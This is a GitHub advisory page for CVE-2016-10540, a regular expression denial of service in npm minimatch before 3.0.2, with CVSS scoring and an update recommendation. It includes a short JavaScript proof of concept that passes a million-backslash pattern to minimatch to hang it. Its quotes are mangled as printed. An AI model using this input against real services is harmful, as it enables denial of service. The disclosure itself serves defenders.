Skip to content

Regular Expression Denial of Service in minimatch

High severity GitHub Reviewed Published Oct 9, 2018 to the GitHub Advisory Database • Updated Sep 11, 2023

Package

npm minimatch (npm)

Affected versions

< 3.0.2

Patched versions

3.0.2

Description

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = [! + genstr(1000000, \\) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

References

Published to the GitHub Advisory Database Oct 9, 2018
Reviewed Jun 16, 2020
Last updated Sep 11, 2023

Severity

High
7.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Weaknesses

CVE ID

CVE-2016-10540

GHSA ID

GHSA-hxm2-r34f-qmc5

Source code

No known source code
Checking history
See something to contribute? Suggest improvements for this vulnerability.